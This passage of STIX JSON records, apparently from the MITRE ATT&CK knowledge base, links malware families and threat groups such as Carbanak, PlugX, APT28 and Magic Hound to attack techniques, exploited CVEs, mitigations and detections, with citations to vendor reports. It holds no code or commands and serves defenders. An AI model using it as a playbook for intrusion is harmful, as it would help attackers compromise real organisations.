"source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54847cda-c38f-4a5b-8328-d0e6812b837b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye CARBANAK June 2017", "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}], "modified": "2020-03-20T16:49:13.594Z", "description": "[Carbanak](https://attack.mitre.org/software/S0030) has a command to create a reverse shell.(Citation: FireEye CARBANAK June 2017)", "relationship_type": "uses", "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5488dd31-2a28-4250-89ff-963214f46b92", "created": "2021-03-15T15:05:13.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky Turla Penquin December 2014", "description": "Baumgartner, K. and Raiu, C. (2014, December 8). The \u2018Penquin\u2019 Turla. Retrieved March 11, 2021.", "url": "https://securelist.com/the-penquin-turla-2/67962/"}, {"source_name": "Leonardo Turla Penquin May 2020", "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T21:27:07.137Z", "description": "[Penquin](https://attack.mitre.org/software/S0587) will connect to C2 only after sniffing a \"magic packet\" value in TCP or UDP packets matching specific conditions.(Citation: Leonardo Turla Penquin May 2020)(Citation: Kaspersky Turla Penquin December 2014)", "relationship_type": "uses", "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--548e7315-5055-4434-96c1-1429779b0e2b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto DNS Requests", "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}], "modified": "2020-03-17T02:10:14.746Z", "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to collect the victim's IP address.(Citation: Palo Alto DNS Requests)", "relationship_type": "uses", "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--549c2737-1097-4a16-8d4b-01ad0e3e689f", "type": "relationship", "created": "2020-05-27T13:22:06.702Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}], "modified": "2020-05-27T13:22:06.702Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to identify the username on a compromised host.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--549f2414-e810-4fc9-a944-571348acb86c", "created": "2022-09-30T21:21:31.912Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T21:21:31.912Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--549fdc30-5269-48ee-9dc8-60db8deb836a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ASERT InnaputRAT April 2018", "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}], "modified": "2020-03-18T00:48:35.848Z", "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.(Citation: ASERT InnaputRAT April 2018)", "relationship_type": "uses", "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54a384e5-17c8-422d-b199-18e7945cb7d6", "type": "relationship", "created": "2019-10-07T19:05:49.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 BabyShark Feb 2019", "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."}], "modified": "2019-10-07T19:05:49.069Z", "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the <code>tasklist</code> command.(Citation: Unit42 BabyShark Feb 2019)\t", "relationship_type": "uses", "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--54aae76b-14fe-47e9-86c8-bd39317429c3", "created": "2023-09-18T20:45:37.266Z", "revoked": false, "external_references": [{"source_name": "Cisco Operation Layover September 2021", "description": "Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.", "url": "https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-18T20:45:37.266Z", "description": "\n[TA2541](https://attack.mitre.org/groups/G1018) has used commodity remote access tools.(Citation: Cisco Operation Layover September 2021)\n", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54add4d1-ab65-451e-b3ab-2c045261b082", "type": "relationship", "created": "2020-08-10T13:59:38.601Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-11T20:44:28.009Z", "description": "Consider modifying host firewall rules to prevent egress traffic from verclsid.exe.", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--54af36a6-0a08-4853-9002-a1ae51b22ca5", "created": "2022-01-24T16:52:40.660Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"}, {"source_name": "Cybereason PowerLess February 2022", "description": "Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022.", "url": "https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage"}, {"source_name": "DFIR Phosphorus November 2021", "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.", "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}, {"source_name": "DFIR Report APT35 ProxyShell March 2022", "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.", "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}, {"source_name": "Microsoft Log4j Vulnerability Exploitation December 2021", "description": "Microsoft Threat Intelligence. (2021, December 11). Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability. Retrieved December 7, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/"}, {"source_name": "Microsoft Iranian Threat Actor Trends November 2021", "description": "MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-07T20:44:43.014Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has exploited the Log4j utility (CVE-2021-44228), on-premises MS Exchange servers via \"ProxyShell\" (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), and Fortios SSL VPNs (CVE-2018-13379).(Citation: Check Point APT35 CharmPower January 2022)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: Cybereason PowerLess February 2022)(Citation: DFIR Phosphorus November 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)(Citation: Microsoft Log4j Vulnerability Exploitation December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--54b14853-fe7e-484e-ac14-849da168706c", "created": "2023-04-04T22:19:42.383Z", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-04T22:19:42.383Z", "description": "[Mafalda](https://attack.mitre.org/software/S1060) can create a named pipe to listen for and send data to a named pipe-based C2 server.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "relationship_type": "uses", "source_ref": "malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54b2d2db-b1d8-49aa-82f3-08d8a53a4899", "type": "relationship", "created": "2020-12-23T18:56:54.608Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-23T18:56:54.608Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used cmd.exe likely as a password changing mechanism.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--54b38c51-b6b3-4d8a-9e6f-f257a3543939", "created": "2023-07-25T21:04:14.592Z", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-25T21:04:14.592Z", "description": "(Citation: Mandiant Suspected Turla Campaign February 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54b3abf5-bc7c-4e8a-b51d-058cc313a3c9", "type": "relationship", "created": "2020-07-17T15:48:51.566Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CME Github September 2018", "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference", "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}], "modified": "2020-07-29T20:01:03.103Z", "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can set a scheduled task on the target system to execute commands remotely using [at](https://attack.mitre.org/software/S0110).(Citation: CME Github September 2018)", "relationship_type": "uses", "source_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54b73912-002f-43ca-b8a2-7439aff45aab", "type": "relationship", "created": "2021-01-13T21:54:29.677Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Pawn Storm 2019", "url": "https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf", "description": "Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020."}], "modified": "2021-01-13T21:54:29.677Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has performed large-scale scans in an attempt to find vulnerable servers.(Citation: TrendMicro Pawn Storm 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54c3c155-6347-4dc5-89df-aae2c15d6c7a", "type": "relationship", "created": "2022-03-16T19:50:41.626Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA416 Europe March 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}], "modified": "2022-03-16T19:50:41.626Z", "description": "[PlugX](https://attack.mitre.org/software/S0013) has the ability to use DLL search order hijacking for installation on targeted systems.(Citation: Proofpoint TA416 Europe March 2022)", "relationship_type": "uses", "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54c703f9-67ef-4622-afed-0ebbd2563e9e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}], "modified": "2020-03-16T19:50:57.934Z", "description": "[VERMIN](https://attack.mitre.org/software/S0257) decrypts code, strings, and commands to use once it's on the victim's machine.(Citation: Unit 42 VERMIN Jan 2018)", "relationship_type": "uses", "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54d2ea67-40fd-4fbc-b76a-01879aa5bff5", "type": "relationship", "created": "2019-06-24T11:33:53.013Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-09T15:43:01.208Z", "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e", "type": "relationship", "created": "2017-05-31T21:33:27.039Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit Part 1", "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"}, {"source_name": "ESET Zebrocy May 2019", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}], "modified": "2020-03-20T16:37:05.770Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used COM hijacking for persistence by replacing the legitimate <code>MMDeviceEnumerator</code> object with a payload.(Citation: ESET Sednit Part 1)(Citation: ESET Zebrocy May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--54d5380e-07a4-49b0-8ffd-c34428c90bbe", "created": "2019-02-21T21:17:37.821Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FBI FLASH APT39 September 2020", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"}, {"source_name": "FireEye APT39 Jan 2019", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"}, {"source_name": "BitDefender Chafer May 2020", "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.", "url": "https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-18T16:19:53.781Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has created scheduled tasks for persistence.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54d9e07f-eff6-41e9-8821-3bb7ac657c8c", "type": "relationship", "created": "2019-06-28T16:02:08.184Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "source_name": "ESET LightNeuron May 2019"}], "modified": "2019-07-16T17:12:00.709Z", "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has used AES and XOR to decrypt configuration files and commands.(Citation: ESET LightNeuron May 2019)", "relationship_type": "uses", "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--54de26f7-7981-49b8-a353-d342a89552c8", "created": "2024-03-25T21:20:52.431Z", "revoked": false, "external_references": [{"source_name": "CISA Scattered Spider Advisory November 2023", "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.", "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T21:20:52.431Z", "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) has impersonated organization IT and helpdesk staff to instruct victims to execute commercial remote access tools to gain initial access.(Citation: CISA Scattered Spider Advisory November 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54dfe125-7cb3-441a-8c1f-bc2031a42559", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54e0e380-aef8-4c63-9792-ebda05affee6", "type": "relationship", "created": "2020-06-09T20:34:21.093Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.166Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used tools to enumerate software installed on an infected host.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--54e27824-ac46-49ca-8b58-dc5726b6cefb", "type": "relationship", "created": "2020-12-23T16:40:34.170Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 Molerat Mar 2020", "url": 